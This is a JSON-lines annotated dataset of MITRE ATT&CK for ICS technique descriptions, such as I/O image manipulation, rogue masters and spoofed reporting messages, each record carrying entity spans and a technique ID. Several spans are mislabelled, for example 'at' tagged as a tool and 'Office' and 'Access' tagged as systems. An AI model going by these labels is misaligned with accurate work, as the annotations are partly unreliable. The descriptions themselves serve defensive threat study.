{"text": "Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs.  During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.  The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. \n\nOne of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0835"}}
{"text": "Network sniffing is the practice of using a network interface on a computer system to monitor or capture information  regardless of whether it is the specified destination for the information. \n\nAn adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines.  Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as Telnet, that can be captured and obtained through network packet analysis. \n\nIn addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.", "spans": {"TOOL: Telnet": [[545, 551]], "SYSTEM: DNS": [[664, 667]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0842"}}
{"text": "Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower.    \n\nFirmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for the I/O that is attached to an asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.", "spans": {"SYSTEM: API": [[246, 249]], "TOOL: at": [[342, 344]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0851"}}
{"text": "Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.", "spans": {"SYSTEM: Access": [[297, 303]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0802"}}
{"text": "Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator.\n\nBlocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0804"}}
{"text": "Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. \n\nIn the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0855"}}
{"text": "Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. \n\nData destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident.\n\nStandard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.", "spans": {"TOOL: Windows Sysinternals": [[833, 853]], "TOOL: SDelete": [[854, 861]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0809"}}
{"text": "Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported.    \n\nOperators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0832"}}
{"text": "Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0872"}}
{"text": "Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.  The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\n\nThe Input and Output Image tables described above make up the I/O Image on a PLC. This image is used by the user program instead of directly interacting with physical I/O.  \n\nAdversaries may collect the I/O Image state of a PLC by utilizing a devices Native API to access the memory regions directly. The collection of the PLCs I/O state could be used to replace values or inform future stages of an attack.", "spans": {"SYSTEM: Native API": [[773, 783]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0877"}}
{"text": "Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases.    \n\nAn adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0815"}}
{"text": "Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0871"}}
{"text": "Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. \n\nSupply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment.   \n\nCounterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk.  \n\nYokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product.  \n\nF-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex.  The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).", "spans": {"TOOL: at": [[504, 506]], "SYSTEM: Access": [[2118, 2124]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0862"}}
{"text": "Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. \n\nMany unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. \n\nAdversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0880"}}
{"text": "Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. \n\nIn cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. \n\nA ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems.  The company announced the potential for temporary shortages of their products following the attack.   \n\nIn the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0828"}}
{"text": "Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access.  \n\nA Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0865"}}
{"text": "Adversaries may leverage AutoRun functionality or scripts to execute malicious code. Devices configured to enable AutoRun functionality or legacy operating systems may be susceptible to abuse of these features to run malicious code stored on various forms of removeable media (i.e., USB, Disk Images [.ISO]). Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor.  \n\nAn example could include an adversary gaining access to a hypervisor through the management interface to modify a virtual machine’s hardware configuration. They could then deploy an iso image with a malicious AutoRun script to cause the virtual machine to automatically execute the code contained on the disk image. This would enable the execution of malicious code within a virtual machine without needing any prior remote access to that system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0895"}}
{"text": "Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. \n\nThe adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. \n\nThe National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors.  Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.", "spans": {"ORGANIZATION: DHS": [[717, 720]], "ORGANIZATION: FBI": [[725, 728]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0817"}}
{"text": "Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. \n\n\nThe German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report.   These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. \n\nA Polish student used a remote controller device to interface with the Lodz city tram system in Poland.    Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops.  Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.", "spans": {"SYSTEM: Office": [[676, 682]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0879"}}
{"text": "Adversaries may spoof reporting messages in control system environments for evasion and to impair process control. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. Reporting messages are important for monitoring the normal operation of a system or identifying important events such as deviations from expected values. \n\nIf an adversary has the ability to Spoof Reporting Messages, they can impact the control system in many ways. The adversary can Spoof Reporting Messages that state that the process is operating normally, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors are occurring in order to distract them from the actual source of a problem.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0856"}}
{"text": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for initial access into and lateral movement throughout the ICS environment to enable access to targeted systems. \n\nICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (wormable) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0866"}}
{"text": "Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. \n\nDefault credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0812"}}
{"text": "Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. \n\nExternal remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. \n\nAs they look for an entry point into the control system network, adversaries may begin searching for existing point-to-point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled.", "spans": {"SYSTEM: Access": [[900, 906]], "TOOL: at": [[1096, 1098]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0822"}}
{"text": "Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary's goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. \n\nAdversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment or damage to downstream equipment.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0806"}}
{"text": "Adversaries with privileged network access may seek to modify network traffic in real time using adversary-in-the-middle (AiTM) attacks.  This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a AiTM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy.   \n\nAn AiTM attack may allow an adversary to perform the following attacks:  \nBlock Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0830"}}
{"text": "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features.  \n\nAdversaries may have prior knowledge through Remote System Information Discovery about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0820"}}
{"text": "Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.   \n\nThe German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace.", "spans": {"SYSTEM: Office": [[200, 206]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0827"}}
{"text": "Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nOne type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process IAT, where pointers to imported API functions are stored.", "spans": {"SYSTEM: API": [[61, 64], [197, 200], [276, 279], [563, 566]], "SYSTEM: Windows": [[158, 165], [268, 275]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0874"}}
{"text": "Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard.\n\nIf physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine.", "spans": {"SYSTEM: Access": [[124, 130]], "TOOL: VNC": [[468, 471]], "SYSTEM: Linux": [[475, 480]], "SYSTEM: Unix": [[491, 495]], "TOOL: RDP": [[525, 528]], "SYSTEM: Windows": [[532, 539]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0823"}}
{"text": "Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. \n\nIn the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0848"}}
{"text": "Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.  These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. \n\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.", "spans": {"SYSTEM: API": [[88, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0834"}}
{"text": "Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services.    \n\nAdversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.\n\nIn the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0826"}}
{"text": "Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations.    In the Bowman Dam incident, adversaries probed systems for operational data.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0882"}}
{"text": "System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network. \n\nAn adversary may exploit the firmware update feature on accessible devices to upload malicious or out-of-date firmware. Malicious modification of device firmware may provide an adversary with root access to a device, given firmware is one of the lowest programming abstraction layers.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0857"}}
{"text": "Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. \n\nApplications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.", "spans": {"SYSTEM: Windows": [[616, 623]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0849"}}
{"text": "Adversaries may perform a program download to transfer a user program to a controller. \n\nVariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download.\n\nThe granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controllers user program memory space.  \n\nModify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.", "spans": {"SYSTEM: API": [[1017, 1020], [1099, 1102]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0843"}}
{"text": "Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.     \n\nOperators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet.   The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility.       The plant has since checked for infection and cleaned up more than 1,000 computers.  An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.", "spans": {"ORGANIZATION: ESET": [[816, 820]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0847"}}
{"text": "Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information.  Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0852"}}
{"text": "Adversaries may leverage credentials that are hardcoded in software or firmware to gain an unauthorized interactive user session to an asset. Examples credentials that may be hardcoded in an asset include:\n\n* Username/Passwords\n* Cryptographic keys/Certificates\n* API tokens\n\nUnlike Default Credentials, these credentials are built into the system in a way that they either cannot be changed by the asset owner, or may be infeasible to change because of the impact it would cause to the control system operation. These credentials may be reused across whole product lines or device models and are often not published or known to the owner and operators of the asset. \n\nAdversaries may utilize these hardcoded credentials to move throughout the control system environment or provide reliable access for their tools to interact with industrial assets.", "spans": {"SYSTEM: API": [[264, 267]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0891"}}
{"text": "Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. \n\nAdversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.  \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator)  and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0859"}}
{"text": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.  \n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.", "spans": {"TOOL: at": [[842, 844]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0890"}}
{"text": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0846"}}
{"text": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.\n\nThe definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0884"}}
{"text": "Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port.  Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.", "spans": {"SYSTEM: HTTP": [[114, 118]], "TOOL: RDP": [[128, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0869"}}
{"text": "Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms.    \n\nRemote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed  to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts.\n\nSpecific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.\n\nBased on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.", "spans": {"TOOL: RDP": [[207, 210], [811, 814]], "SYSTEM: SMB": [[212, 215]], "SYSTEM: SSH": [[217, 220]], "TOOL: VNC": [[817, 820]], "ORGANIZATION: CISA": [[972, 976]], "ORGANIZATION: FBI": [[981, 984]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0886"}}
{"text": "Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state.   \n\nIn the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters.", "spans": {"SYSTEM: Office": [[522, 528]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0813"}}
{"text": "Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. \n\nIf an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. \n\nIn ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.   Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0838"}}
{"text": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. \n \n * TCP:80 (HTTP) \n * TCP:443 (HTTPS) \n * TCP/UDP:53 (DNS) \n * TCP:1024-4999 (OPC on XP/Win2k3) \n * TCP:49152-65535 (OPC on Vista and later) \n * TCP:23 (TELNET) \n * UDP:161 (SNMP) \n * TCP:502 (MODBUS) \n * TCP:102 (S7comm/ISO-TSAP) \n * TCP:20000 (DNP3) \n * TCP:44818 (Ethernet/IP)", "spans": {"SYSTEM: HTTP": [[357, 361]], "SYSTEM: HTTPS": [[376, 381]], "SYSTEM: DNS": [[399, 402]], "SYSTEM: SNMP": [[519, 523]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0885"}}
